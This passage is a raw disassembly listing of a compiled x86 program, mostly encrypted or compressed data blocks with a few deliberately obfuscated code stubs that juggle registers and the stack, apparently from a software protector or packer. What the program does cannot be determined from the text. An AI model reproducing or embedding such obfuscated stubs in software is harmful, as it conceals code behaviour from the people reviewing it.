15557F40h, 0B4FB9A83h dd 0C1C64DCBh, 79465717h, 988A0BB2h, 0BBC64DC2h, 47CEBB6Dh dd 0CF85747Eh, 9FE0B1Dh, 728F9CC2h, 122A5EEAh, 2B06E756h dd 84308940h, 0C95FA9E4h, 5786A7C5h, 4B17027Ch, 489h, 4469E9E4h dd 0DECF8F43h, 653628A1h, 0E4C9B51Ah, 0FD2E2CA3h, 4D84D877h dd 0EFDF200Dh, 8B413E6Fh, 0BBDCAD3h, 2552426Bh, 87E646A0h dd 0CC6615CFh, 465707CEh, 35844C3Bh, 4D8056D0h, 851305C6h dd 1B17C1AEh, 0BE836C8Fh, 4556C047h, 5A1ACEADh, 27B91C2Dh dd 2CC64D80h, 80EEF85Dh, 0BB6DC64Dh, 27B91C6Dh, 2CC64D80h dd 175245FCh, 93AEAE20h, 4B3C3CA8h, 0D0E3933Ch, 6F6DBE89h dd 0B1182F1Ah, 3A91D6C9h, 69BF4944h, 802BB520h, 0F830C64Dh dd 9BB3CC49h, 0BA62CF82h, 5D5CAC74h, 3D685B5Ah, 0E13DB4EBh dd 30CF82F9h, 2EFD4CCBh, 65F0D92Eh, 0CF82F97Bh, 943D48E0h dd 6251B3EAh, 14CD6ED7h, 6920D8B8h, 4DE2FAECh, 59CF59C6h dd 0A4A47354h, 3FAEF253h, 0B2C5CF88h, 0E640C518h, 75CF87BEh dd 933EF5A3h, 4F837485h, 3E49340Fh, 51C4E995h, 0CF87BED5h dd 0CAB4192Eh, 14448CF7h, 3A5707h, 5C9F0000h, 0C64D80C6h dd 0B378786Bh, 0F36B6156h, 0CEB9881Ch, 0CF465905h, 0C64D8055h dd 32C150BBh, 0C7B8E599h, 0CF465901h, 0C64D8052h, 44D746C9h dd 3EA82D8Ch, 1DC64D80h, 0E2909D0Bh, 0E733B9D0h, 0B68DFB18h dd 0C4A28401h, 67B1C64Dh, 0F2C1B910h, 100F4F85h, 77DEFDD3h dd 0C64DC46Dh, 9BEC3AEEh, 7C3727ACh, 82F2DC07h, 0C6C588Bh dd 96056A11h, 8F0E71A4h, 9BC309FEh, 45359BA8h, 17C8A834h dd 0F78D802Ch, 1375A8D6h, 26E7AE85h, 0C64DBF3Eh, 0B21C2B5Ch dd 8A39CBC2h, 84CFAA58h, 0FF613BF0h, 0CE83FFFFh, 40435A1Ah dd 0F8C7D494h, 75E0292Fh, 0CF82A708h, 0E6F7DCEBh, 0D32472F2h dd 82A67072h, 7E35E3CFh, 9FCAC553h, 329B3CA8h, 0C8BBD244h dd 0E0445B03h, 0A07E7B36h, 0C2CF82A6h, 7F61E4D5h, 0D4CF82A6h dd 0B8A6D44h, 0B1D12CD3h, 5FB5F9h, 0D03D0000h, 6D6F8F1Ch dd 923A9424h, 72C73E3Ah, 0FBC87B2Dh, 0EEDB2C2Ch, 4DFB7D67h dd 3B4ADEC6h, 58ACE393h, 0E075E069h, 93CF832Bh, 0F22D2DA4h dd 26F29B96h, 0CB948AE7h, 5FCECF82h, 0B817BC30h, 0C3B4F9B1h dd 0B6524D0Dh, 3A5515BFh, 0FF74D3EEh, 89000000h, 0C89547Eh dd 0CF82C01Ah, 8A39EF39h, 5A1ACE70h, 83354243h, 81C669A7h dd 6CBAA7C8h, 4FDCD731h, 0DA0B0278h, 0A679E5EDh, 379A71C6h dd 4BDDC729h, 2D4AD9A1h, 576A1EB0h, 0A578F8ECh, 25F67662h dd 4E0C4968h db 0C6h, 36h word_594F42 dw 0E282h ; DATA XREF: ___:off_4387C0o dd 5CB9D0B9h, 0C64E03CAh, 398F6389h, 0FC9FA2F3h, 38AC97AAh dd 79626538h, 0CAFF8673h, 79CF8328h, 1ED344F3h, 42C336D2h dd 0CF8315E0h, 40F3A573h, 0FDD3E495h, 7D06A27Dh, 0CF8315A3h dd 0C1B660B8h, 15D34DB8h, 9088CF83h, 3FF26C65h, 7E7E6D5Ah dd 0CAB50C89h, 54C4D8BAh, 0BDBD1423h, 28A691F0h, 9C97F12Ch dd 3A42388Fh, 7562C432h, 8AAE9467h, 0E5000001h, 403F6CEAh dd 0BEC9D28Ah, 43446915h, 0A0DFCC8Ah, 906C3129h, 443A91E5h dd 0B6A62857h, 4A329AE5h, 0B2B22661h, 57BEABE9h, 0CF87E9CDh dd 0CE75FD8Eh, 3B465707h, 9FD6864Ch, 0CE5A3535h, 1C5C88F3h dd 1D0E630Fh, 0EE6BEA1Fh, 5CF82B0h, 8795FC13h, 0DBCF82B0h dd 5F582574h, 8B1DF06Eh, 0C37926B8h, 9C68F9B1h, 0EE000000h dd 435A1ACEh, 0A8D18940h, 80B23491h, 77A1C64Dh, 832AC7BCh dd 70C64D85h, 8F72444h, 0A3D3FBDCh, 0BE2D1AF5h, 7F4CC9BEh dd 16CF82B1h, 8104F502h, 0CF82A89Fh, 84D64B4h, 9FE8F037h dd 0BA59E836h, 0CCBD6BD8h, 356614BBh, 0B3DB834Ah, 75627C81h dd 0CAF1D5A8h, 25000000h, 807FACAAh, 0FE09124Ah, 8384A9D5h dd 0E01F0C4Ah, 0D0AC71E9h, 84FAD125h, 0F6666897h, 8AF2DA25h dd 0F27266A1h, 97FEEB29h, 0CF87EA8Dh, 0CE35BDCEh, 39465707h dd 5BC5508Fh, 0C64D80h, 8D1B4387h, 0CE68121Bh, 40435A1Ah dd 0F8C7D494h, 75E0292Fh, 0CF87DD8Dh, 40435ACEh, 0B8C7D494h dd 0C4316C0Ch, 28A88109h, 5421709Fh, 8BCC29C8h, 5479D054h dd 791F32Ah, 34953F2Ch, 61C3DA9Ah, 2F99E6B7h, 2215504Fh dd 7601B0ACh, 1C021D59h, 66512271h, 343FF272h, 0CCBBE080h dd 1CEB918h, 3B36B055h, 54251668h, 683BEFF1h, 62B46416h dd 0FCB0D9B4h, 11BDFC1Ah, 23917765h, 0A903EF5h, 58000000h dd 6816B7D0h, 0EAE0D335h, 5303CE6Ah, 0DD9D473Ch, 4F0FC5C2h dd 0BBBB1350h, 32289FE4h, 0B9A1285Bh, 322CA1E6h, 0BBA3285Bh dd 332B9FE4h, 8953805Ch, 4AB850E3h, 4027E845h, 442DE8D1h dd 0F7143A22h, 35D8F7D0h, 0FFBA0066h, 8358C301h, 1C8704EBh dd 89535C24h, 4C381E3h, 83000000h, 1C8704EBh, 1C895C24h dd 5EBE6824h, 4890000h, 65BD5524h, 566B8C33h, 5A5081BEh dd 73F6815Fh, 892B9CC0h, 0EB295EF3h, 48B545Dh, 4C48124h dd 52000000h, 8BB53h, 0DA890000h, 89C2015Bh, 34FF5A1Ah dd 0C4815824h, 4, 57241C8Bh, 0C781E789h, 4, 8704C783h dd 0E95C243Ch, 0FFFBD97Ch, 0B86D9EA8h, 93A6B98h, 0E0FFC503h dd 6EA94109h, 733B14A0h, 23E1EAF3h, 20E61624h, 1791B89Dh dd 2A086A9Ah, 5ED85592h, 58A7C36Ch, 77F3AA57h, 776B914Fh dd 0B0E9h, 8C666000h, 4C2F6DAh, 0C850Fh, 853B0000h, 9350EC9h dd 36840Fh, 853B0000h, 935057Dh, 2A840Fh, 853B0000h, 9352621h dd 1E840Fh, 853B0000h, 9352B39h, 12840Fh, 0BD830000h, 9350261h dd 5840F01h, 0E9000000h, 5Fh, 5203D08Bh, 88BA8B3Ch, 8B000000h dd 0C985784Ah, 49840Fh, 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h dd 314518Bh, 850B8BD8h, 10840FC9h, 3B000000h, 17820FCEh dd 3B000000h, 0F830FCFh, 83000000h, 0F4A04C3h, 0FFFFDC85h dd 0DE9FFh, 9D8D0000h, 9354C02h, 5B8h, 61E3FF00h, 0EBD00BC3h dd 60h, 17h dup(0) dd 0B12E900h, 6E90000h, 6800000Bh, 93A7543h, 0FB114BE9h dd 76A368FFh, 41E9093Ah, 68FFFB11h, 93A7704h, 0FB1137E9h dd 2D8AA8FFh, 6C75E870h, 2BB6A92Fh, 6176EE72h, 2CADC43Ch dd 33D7A46Fh, 7AFE9F3Ah, 31A7F4E1h, 87F9A23Fh, 0FBADEEEBh dd 0D4A70DD3h, 0F2A312FBh, 0A92C47D1h, 3CBE6E4Ah, 0B93BB623h dd 2DA8C33Dh, 6B74E870h, 19AE288h, 5F546072h, 0BDB32DC9h dd 0C45FD120h, 447C22D1h, 0AFCC54A9h, 7EF00423h, 8DFFF2E7h dd 7AEE0594h, 8AFEF5E2h, 99061895h, 35289C57h, 0EFBA45ACh dd 0BC099737h, 0C0150B6Fh, 0E0DAAE1Eh, 35A74F48h, 6BFCA138h dd 974D815Bh, 12FB6F39h, 4787B1Dh, 0F7E27F68h, 567678FCh dd 28CBCC64h, 0D87B50A4h, 23AE2B47h, 862E993Ah, 0EFE40DC4h dd 5005C419h, 4AC388h, 2E040000h, 150DC486h, 3641E5CFh dd 8A91E11Ch, 6D6803A9h, 1CBE0286h, 0EB837DA7h, 6F8103EEh dd 47BE1564h, 42A7BF2Ah, 0AC42AC29h, 5C5E7025h, 6B1BD6C3h dd 0D2C3CF80h, 55A14F94h, 28D1AEh, 0C5FD0000h, 0D6010CB6h dd 10AF474Bh, 0DC4862Eh, 41E5CF15h, 921E1C36h, 9B9153Fh dd 0CFE3469Ch, 1A0540Fh, 24AF2A47h, 0EB156370h, 0F98C6875h dd 0A6D6F6AEh, 63C7CE74h, 3E729A76h, 5047E3DFh, 0D8B4589Ch dd 542129A8h, 995D86E8h, 359880Bh, 0E67A6C15h, 0E986FAF9h dd 62FC02ECh, 0E8787B75h, 130116E6h, 75563EA7h, 92852518h dd 19C4Fh, 0AD158000h, 0F063BE24h, 0F2857145h, 0C0DEEEA4h dd 1C356502h, 0B0DCF0F6h, 3564C8F2h, 0DA1ABC1Ch, 544DE153h dd 0EB156447h, 87986673h, 0A155D71Ah, 2BA6332Fh, 6673EB15h dd 66ED098Bh, 0C3203EC0h, 38BC32AFh, 0C4862E99h, 19EFE40Dh dd 885005C4h, 21C3h, 862E0400h, 0CF150DC4h, 1C3641E5h dd 1514BFE1h, 0AD2847B9h, 2A47AA49h, 637024AFh, 1ED1h dd 862E0200h, 0CF150DC4h, 1C3641E5h, 8832701Eh, 7C1C3641h dd 153D945Ah, 0AF2A47BEh, 15637024h, 8A6A77EBh, 0DD3AFF7h dd 1C3641A7h, 9C5742DFh, 0EA04AA18h, 41EABCE2h, 0D8FE1C36h dd 0C00A98F4h, 0B41C3641h, 0C93BC232h, 40804C55h, 0E5EE30Fh dd 8E6B8B1Dh, 2BB9159Dh, 1C3641A1h, 80425FD1h, 824965Eh dd 993A448Fh, 8C4862Eh, 0A25C79F6h, 5EE2118Eh, 0EFE4F796h dd 5005C419h, 33C388h, 2E040000h, 18A286h, 41674D97h, 3D631C36h dd 0CF1520B3h, 1C3641E5h, 4158D1EBh, 18C62EB2h, 0EB153B96h dd 0DE8A6A77h, 0AF2A47AFh, 0D1637024h, 66h, 0C4862E02h dd 72EB150Dh, 93396767h, 871C3641h, 0A5E99561h, 6B95001Bh dd 800EE6F3h, 1C36413Ah, 0B1028838h, 0AE1A293Dh, 933BD546h dd 8EBF669h, 15D17084h, 0BF2A47BEh, 3EC231A4h, 0C130A9C0h dd 651DB13Fh, 93FAD5BFh, 0CDC4FC37h, 2C2528E4h, 70CF6E86h dd 8EDD1E5Eh, 0C6CA70Ch, 5F9822C0h, 0A8C1C35h, 0AD1543EAh dd 21E9159Eh, 7E668EDBh, 0D4h, 0C2982ECFh, 41F6D40Ah, 0BCE21C36h dd 42AFC335h, 491A802Bh, 1B84AA55h, 549A1ED5h, 0B5AA5478h dd 9D47C928h, 1C35E217h, 94698D13h, 0A40D209Ah, 14E00E8Bh dd 0AE2B476Dh, 0E3925E1Eh, 0DB4772D9h, 993A741Bh, 0DC4862Eh dd 5ED0EAE4h, 36A3BF41h, 0AD151FBEh, 8D4A54FFh, 2F03B4A8h dd 0E3D94080h, 0D30AB242h, 0B78850F3h, 53E7CD13h, 0BDE31F35h dd 499239h, 843C0000h, 1302D4B3h, 0A2408CA1h, 1F35D418h dd 0C36A8A0Ch, 0DC4862Eh, 41E5CF15h, 0BFE11C36h, 47BE1514h dd 6B1FAF2Ah, 413B811Fh, 0A92F1C36h, 3641913Bh, 9363851Ch dd 156370ECh, 0E77974EBh, 7BFDF4FAh, 168B7Bh, 2EBC0000h dd 150DC486h, 3641E5CFh, 3F921E1Ch, 2A47BE15h, 637024AFh dd 1EAE2B47h, 0DC17809Ch, 842E7458h, 801C3641h, 0A517965Eh dd 3CBE0E8Bh, 0BA3EB522h, 4BAB2C44h, 6976EA6Eh, 41D2FA8Ah dd 198A1C36h, 928C2E2Bh, 0E37FF105h, 3F33A5F6h, 0A7522AA2h dd 584DEA84h, 5BCB52A2h, 4855CBAFh, 9E3B37A9h, 7361C053h dd 81733078h, 402F7AF6h, 4AF08B41h, 9D1FAF41h, 8D0C2584h dd 0E50CE266h, 5DE45F63h, 0FCB36F07h, 714423F8h, 29593599h dd 0DA63321Ch, 21AF47B2h, 15028562h, 0FDA15056h, 4D352AC5h dd 4EA62251h, 0C5FEC0h, 7E66BF13h, 8576305Dh, 2A3792h dd 47980000h, 9F43AE2Bh, 87C964DFh, 4BAB943Eh, 35B40FB5h dd 6A5ACB1Ch, 33F7156Dh, 8B9C1622h, 747DF16Bh, 0D20DEFBh dd 92415A94h, 43AE2B47h, 0E107EDB8h, 0D4C15AA0h, 93279B1Dh dd 0F6D618ABh, 866E6B04h, 0FC5BBCE2h, 19A3150Bh, 0A75D9900h dd 0F8CB9C01h, 69A92AF2h, 3FB16A3Ch, 0A9C13B8Fh, 4B2EC430h dd 0D30BC8FDh, 4AA93029h, 5E802EC6h, 0FAC30593h, 21841C26h dd 8DA41633h, 5998011Ch, 56DA19D7h, 40CFFE9Eh, 4798895Fh dd 0F2000000h, 0AD4956C8h, 0C2982E06h, 41DED40Ah, 0A8E41C36h dd 3641D0FAh, 9E22C41Ch, 3595F12h, 0BA688C8Fh, 9269834h dd 0A180408Ch, 3465CCAFh, 175FD8A0h, 757B530Eh, 1CBEAC81h dd 0A000000h, 0A15F78F0h, 60E40F8Ah, 982EED94h, 0E2D40AC2h dd 0D61C3641h, 6D02FCD0h, 15882B70h, 41A12BB9h, 5FD11C36h dd 972DAF42h, 9EF5E511h, 51000001h, 6CF7B0AFh, 5960AF35h dd 58DC17D9h, 842EF59Ch, 7FF406C6h, 0E115975Ah, 38943A42h dd 364120AAh, 0C4DD501Ch, 0AEF4D8FEh, 1C364204h, 7716DE00h dd 23AE2B47h, 0AD15EFE4h, 90B5D992h, 100BF522h, 8CD17185h dd 0FB885102h, 43h, 0C6842ECCh, 5C7DF406h, 3CE31395h, 0CF15B915h dd 1C3641E5h, 0A937BFE1h, 1C364123h, 17829F21h, 1FAF31DFh dd 0DA19809Dh, 15FF9E56h, 0AD2847BEh, 15637026h, 996772EBh dd 52D61D84h, 41B2A2h, 15130000h, 0F87570EBh, 608E12E1h dd 0DFB30F91h, 29AD362Fh, 6347DA1Ah, 9F932DA1h, 6DED2AD4h dd 0BF31B6C4h, 9D44B034h, 0A12BB915h, 951C3641h, 0A937E313h dd 1C364123h, 1515BC54h, 0AD2847BEh, 47637026h, 3A23AE2Bh dd 76EB1599h, 0FD9C956Bh, 0EF8272F6h, 0E4E8EBB9h, 5C419EFh dd 4EC38850h, 4000000h, 0FCA2862Eh, 1C3641B6h, 0AC22CB2h dd 8F627FF0h, 154AE90Dh, 41A12BB9h, 23951C36h, 94608E0Bh dd 4210BAE8h, 0EC0E1C36h, 0E18F6770h, 0BE1514BFh, 24AF2A47h dd 742A5E70h, 1C36414Eh, 14F7E948h, 952F95D6h, 0D13CE313h dd 2Fh, 0C4862E02h, 941EC408h, 901C3641h, 1547E60Eh, 3641E5CFh dd 3F921E1Ch, 2A47B915h, 416D578Dh, 47691C36h, 2EC64AA9h dd 0AF2A478Fh, 47637024h, 0B745AC29h, 1C364210h, 42B12E40h dd 0AD4451CEh, 7EC62BFDh, 954879CFh, 7DF18470h, 0E50B8D64h dd 9D685CC9h, 6B61683h, 0C5CC8D6Dh, 0F1C62EF0h, 0AC294742h dd 405DD345h, 0E2D243B1h, 1F7C1917h, 364AE93Dh, 67A9291Ch dd 4895006h, 0FFFFFE52h, 0D7B20ABEh, 0E620FA3Ch, 0C9497371h dd 9B3D1C35h, 0A52BB45Bh, 0B91C3641h, 1C364297h, 364122ABh dd 41943A1Ch, 26A81C36h, 3A1C3641h, 0DC364194h, 8C4018ABh dd 0EDE1FE72h, 36420DB7h, 0FE7095Ch, 0B3E5356Bh, 8F115501h dd 0E6CCD764h, 1FBF237Ch, 6A314E7Fh, 6A0BE158h, 3C626A84h dd 4BCBA2B9h, 3BA6B92Fh, 0E85531B5h, 0A948A9A3h, 297C1h dd 71560400h, 20B9B42Ch, 6F6A057Bh, 25B2AA2Eh, 70690078h dd 6F1B702Bh, 46BAE3F6h, 6DF3A82Dh, 43B5E6F3h, 47E9B22Fh dd 0CC735987h, 366712FBh, 0AE2B4795h dd 35EDB843h, 5AFF599h, 11C3642h, 0ABDC7B1h, 4BA5CA4Ch dd 44E1FFABh, 0B8150BD6h, 0DC16536h, 0B11C66B5h, 0A63C80C3h dd 12FBAF1Ch, 842E7418h, 8012FBAFh, 0CE64905Eh, 12FBAFE8h dd 0F0DCB4FFh, 0D19CF5B2h, 0E5E9EF0Bh, 415A47DBh, 2D46A3BFh dd 1DAB46A8h, 1C3542A3h, 9737EFBAh, 4B56C9F3h, 0FAA824A8h dd 1C3542D0h, 3CD222C4h, 150B2FC7h, 0A9537B1Dh, 1EA02CB5h dd 8C619502h, 990618A2h, 0AC1ED65Ah, 3FCC27B0h, 5C309C74h dd 21D0CD62h, 68C9579Fh, 8C0BD19Dh, 495CE70Ah, 3F851B6Fh dd 3B1C3542h, 42852FB5h, 5F811C35h, 16A73D91h, 1E150B2Fh dd 0E9089188h, 93396767h, 8712FBAFh, 8B3F8F61h, 2C1AE933h dd 0AC48B2EBh, 0FCA13E32h, 4EFE884h, 0FBF85274h, 965E6912h dd 0D7F7F99Eh, 0F850CBB3h, 0B9855873h, 32B63DA4h, 0E8D210BCh dd 0DC12FBA8h, 87A43ABAh, 6D0BD195h, 7927636Bh, 1C354D53h dd 0CE55A147h, 0FB989628h, 855D68FBh, 5E889B49h, 46761502h dd 0A5F444C5h, 28D61EBDh, 277E5E86h, 941FF2D6h, 137AAh dd 11B6A400h, 4059D48Ch, 0F8AA55Bh, 4552CA8Eh, 1089A058h dd 0FFB908Bh, 661A8316h, 0DD3C8CDh, 63158613h, 0E7C9D2CFh dd 0CBD3F9A7h, 16C712FBh, 0C39B2EB5h, 2F58D50Bh, 0F6C6150Ch dd 93DF74BCh, 36EC08DEh, 0E3B641B0h, 96FDA32Bh, 5C0BC8AAh dd 22D2CF62h, 807A6A6Ch, 1DE9B0E9h, 0D6AC96h, 11430000h dd 0FC71E7B4h, 2F40B8E5h, 0FF77E9B2h, 263FC1DAh, 5831EAB3h dd 7D1EBBB2h, 287560FBh, 7C21BEB0h, 2E6F6804h, 268C527Ah dd 2212FBCAh, 9B2E5271h, 0BBF0BC3h, 3641EFD5h, 5AFF51Ch dd 11C3642h, 33C3E5DFh, 0C2E689Dh, 975A7C15h, 0B900925h dd 31C0D955h, 933B13A6h, 674D9337h, 6D12FBD4h, 0FBD48D37h dd 5D678912h, 8C25BB3Bh, 0A80BD1C1h, 4EE39506h, 99964A53h dd 41D99FFCh, 0A4BD4358h, 79F06835h, 0AEC53B60h, 70EE722Bh dd 0DD516B63h, 41B6FCA2h, 2CB21C36h, 715532C2h, 0BFB99011h dd 698D630Ch, 3D5E7BF7h, 6835A0BBh, 0B814CCD7h, 0B338D2Ah dd 0DDDFA715h, 1A9E5544h, 0FBAC02C8h, 0EF0F612h, 876A8411h dd 1B801915h, 3EFh, 844F2000h, 41B01547h, 0AB4653CFh, 37BA2739h dd 0C82BAEC5h, 35BCDD54h, 0C42FAAC3h, 34BFD850h, 0BF32AFC0h dd 2AC9D04Dh, 1CCA685Dh, 0C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx push 93A6D9Fh mov esi, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx sub esp, 4 mov [esp], esi pop dword ptr [edx+8] push dword ptr [esp] pop edx add esp, 4 mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5464A4 ; --------------------------------------------------------------------------- dw 1DD7h dd 3A00888Ah, 0F5CDDCBCh, 0B400C28Bh, 77FFB801h, 0C503093Ah dd 8E8C38Bh, 40000000h, 215B6897h, 8A04C7B7h, 0B70F5FFEh dd 84C781F3h, 66000064h, 0B8B9B8BEh, 18FDh, 0FFF6BF0Fh dd 0BB665A37h, 0F281D87Eh, 26A00A7Bh, 81D98B66h, 37B77DEAh dd 0ABC28109h, 8932223Bh, 38D0F17h, 80000000h, 0EF8371C3h dd 10E901h, 0DFBC0000h, 9F8B50B8h, 0B7F46D58h, 0E36291A0h dd 4F4FCD24h, 14E84Fh, 77D0000h, 0E2028057h, 6F336E05h dd 156FFCC2h, 0D6806B0Fh, 0E3806A58h, 0F485B07h, 0FFFF9A85h dd 9E9FFh, 4D330000h, 0C260C3A1h, 8DB52EB7h, 3A79E68Dh dd 6E809h, 653F0000h, 5AE2E95Eh, 298D895Ah, 57093516h dd 6714DCBAh, 85C75A0Bh, 935287Dh, 745Ch, 7E79E681h, 85C744DCh dd 9352255h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0DAC35646h dd 0EAD92CE4h, 0D6816660h, 0BDB73979h, 31B58961h, 0FF09350Dh dd 3511F5B5h, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 0FF137829h, 350D0595h, 53006A09h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 2820FE4h, 8B000000h, 0FF006AD9h, 35082995h, 0EBC08B09h dd 0E898835Ch, 90EF3AA5h, 0E384ACC0h, 5681E2E6h, 0B440EA58h dd 4F1ED8C1h, 0B6EDFB72h, 0F2F4C2B7h, 0D655C5D1h, 7C78EC9Bh dd 4E821B2h, 3E89D9EDh, 0EDDDC639h, 0F2560B58h, 0CA50F18Bh dd 34097184h, 0C392FBC9h, 485C930Bh, 8AFE62BAh, 0C2B1D42Bh dd 874DF11Eh, 92921D5h, 0F1E5E19Ch, 136E96Ah, 0F8F90000h dd 7AC4B58Dh, 0F60093Ah, 58Dh, 0F0816600h, 84B17113h, 2D858D61h dd 6009384Ch, 820F60h, 0BA000000h, 6EF80E68h, 61E38A61h dd 6E9h, 860A2800h, 0FF543040h, 6AC3F5D0h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0FF30C351h dd 6E3956F0h, 0AE93ADFh, 1B000000h, 9B6B68C7h, 0A70DA023h dd 8B576069h, 8B665BC6h, 8C6661CAh, 14E9D9h, 0FAF20000h dd 18C913DCh, 0F902214Ch, 748BC744h, 0B43798Ah, 0C1F60E13h dd 47840F04h, 0E9000000h, 0Ah, 0ECC6163Ch, 2F5534F5h, 0FB8B81BFh dd 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh, 49D78BF9h, 0EBD98Bh dd 13F20CDh, 0C00B0001h, 708D1874h, 8BFA8B0Ch, 0A75A6CBh dd 0B8FA7549h, 1, 8B09EBh, 0B8E4EBh, 0CF000000h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 6AC35646h, 0C820Fh dd 7E90000h, 79000000h, 0D1BDB1Bh, 6A1880h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F5B09AC3h dd 7B1085C7h, 13F093Ah, 13E80001h, 4A1FE809h, 0AE6AA465h dd 71A5F090h, 35000484h, 70D978F8h, 8547FE29h, 8538836Ah dd 243B3114h, 7865465Fh, 8843222Bh, 3C552D30h, 14B53E28h dd 3A183129h, 350C31A2h, 3508D829h, 0F1973129h, 1726B18Bh dd 61A83BABh, 6B750DABh, 353344C0h, 0E7A73E29h, 3AB18CAAh dd 3A06381Ch, 350301ADh, 6A68C429h, 5FC0312Ah, 36886729h dd 15303129h, 0BC46F277h, 0B408155Dh, 2802156Dh, 73033129h dd 3DACF27Fh, 28969DE3h, 35B42DAh, 4290C097h, 999DBC00h dd 5F050B52h, 36EE6729h, 15033129h, 0BCDFF277h, 0B4C4155Dh dd 2064156Dh, 73303129h, 6E1EF27Fh, 0B73A6490h, 11B9613Ch dd 0BC33C3EBh, 0C70A152Dh, 4E4EB4A4h, 21893813h, 0D8303129h dd 10F6F05Bh, 0B9C42457h, 0DDBF8831h, 1D2012E5h, 0A59FFE75h dd 5339BA49h, 6501EFA2h, 43F6379h, 3A886973h, 0A0F3C69Eh dd 3C333A74h, 350325C1h, 9B318929h, 85F5B366h, 15AD584Ch dd 62D7BD6Ch, 55316749h, 0FFBB3E01h, 0BFC6BA76h, 94BEB2E5h dd 3588040Fh, 8843385Ch, 3C550150h, 65294529h, 8DD8BA7Ah dd 350C3553h, 1FC7B4A0h, 0A88E381Ch, 3CB68511h, 6D9BE2D6h dd 5198CAAh, 4130381Ch, 8D4B613Eh, 350C3553h, 1FC7B4A0h dd 0A88E381Ch, 3CB6800Eh, 6D9BE2D6h, 0DD303143h, 3530312Ah dd 6DDB6909h, 312875A0h, 312275A8h, 3503313Fh, 0E9426169h dd 0C038BFD0h, 0BB6FF1A2h, 35303125h, 351EBB26h, 0BD033129h dd 35063129h, 4E95ACA4h, 6AD73813h, 4F8EB4A4h, 24893813h dd 0A0303129h, 0C83A29A6h, 0DE288077h, 2AE6DCFCh, 0A3C9FB5Fh dd 35EBE1D6h, 35C3D97Eh, 6A403129h, 49B96EEAh, 7199350Dh dd 3515350Dh, 62413129h, 1BB309EAh, 3ACC4A31h, 35C034ABh dd 80998B29h, 458A33A9h, 3E32FD35h, 0BA883EE9h, 55063129h dd 3513BD26h, 3E683129h, 4C03129h, 0C7F2091Ah, 5A30EA6h dd 0B5788DE8h, 820354E1h, 0B86750DFh, 4F33B4h, 0BA8E5120h dd 35C0312Fh, 3560BD26h, 8A3F3129h, 36A050D2h, 5F0C3129h dd 36EE6429h, 15033129h, 0BCDCF274h, 0B4C41545h, 2364156Dh dd 70303129h, 53CDF27Ch, 0E6875727h, 356CD2D6h, 3500D97Fh dd 6BA13129h, 41496FEAh, 71E1350Dh, 352B350Dh, 635E3129h dd 941D42EAh, 0FE0CC6F6h, 3506D9FFh, 0BB8B3129h, 0BEF83FDCh dd 0A8ED6FD8h, 3C0A4AB7h, 35183EC1h, 29C9BF29h, 0AB23FFBBh dd 0ECD4E969h, 4017BEDAh, 35D8B726h, 26893129h, 0E9303129h dd 116E600Eh, 0C36376DFh, 1A469A81h, 9E4EDC19h, 0B8DF37DEh dd 0FBA7FACh, 0C9B0CE20h, 0B13FF122h, 35183175h, 0DD5A3143h dd 3506312Ah, 6BC06F09h, 31A545A0h, 31E475A8h, 35603133h dd 30F3676Fh, 1EFECB75h, 38E5A7A9h, 7E063129h, 963AE406h dd 95103F05h, 0D27CA242h, 7962ACA4h, 5550381Ch, 0C3788E4Fh dd 54F2BA48h, 35063091h, 0DCE0CE29h, 35813125h, 0C738412Ah dd 0C5EFCC04h, 0F280566Fh, 4EBBACA4h, 35663813h, 3505D979h dd 6D233129h, 710869EAh, 7141350Dh, 3577350Dh, 65703129h dd 9B8028EAh, 0BF2A838Eh, 7B83BCC2h, 3A0A0B53h, 3AE1E69Eh dd 35C037A1h, 5AA8B029h, 0CD7CF20Fh, 5FC8CE48h, 36E46329h dd 15063129h, 0BC59F273h, 0B485157Dh, 2DC4156Dh, 77603129h dd 0FA98F27Bh, 0DD51F3A3h, 350C3121h, 0FA3D9B1h, 99C3A1C6h dd 36063E76h, 53C03129h, 0F56BFAA2h, 3524B526h, 0B8ED3129h dd 4033B4h, 35058920h, 0CAFF3129h, 2A7588CAh, 65837083h dd 35EC3E49h, 3A303129h, 6F79E296h, 4E808CA4h, 0B88B3813h dd 3C394E57h, 7EDD4C91h, 444502A3h, 1E690407h, 0A8EDF0E6h dd 3C0A4AB7h, 35183EC1h, 29C9BF29h, 0AB23FFBBh, 0ECD4E969h dd 4017BEDAh, 0F305E983h, 66C08BA4h, 5343ECBEh, 0C38B5FF9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 85C35040h dd 0D89F0BDFh, 0B70B371Ch, 0CE8h, 3B00300h, 626023DBh dd 0C065E11Ch, 0E9DD80EBh, 6AC08B5Fh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 2022C356h dd 0B1BEB580h, 8303F678h, 3526A1BDh, 9750009h, 3079BD83h dd 74000935h, 8B535019h, 47AB8C0h, 85890000h, 9352CA9h dd 0B49F9D8Dh, 0D3FF0937h, 0BD83585Bh, 9353079h, 50177400h dd 47AB853h, 85890000h, 9352CA9h, 0B1409D8Dh, 0D3FF0937h dd 8156585Bh, 0D7FD2BD6h, 6A5A54h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 56B57CC3h, 158E0Fh, 10E90000h dd 95000000h, 0DF42C614h, 0F6049BEEh, 0D509E067h, 5A51F573h dd 3CE9C08Bh, 1, 4Eh dup(0) dd 83000000h, 350695BDh, 840F0109h, 570h, 0DE9h, 0C43DAD00h dd 0DA48FCF5h, 0E6126DF6h, 5060DC73h, 665BD38Bh, 0C661F38Bh dd 35179D85h, 7E94309h, 53000000h, 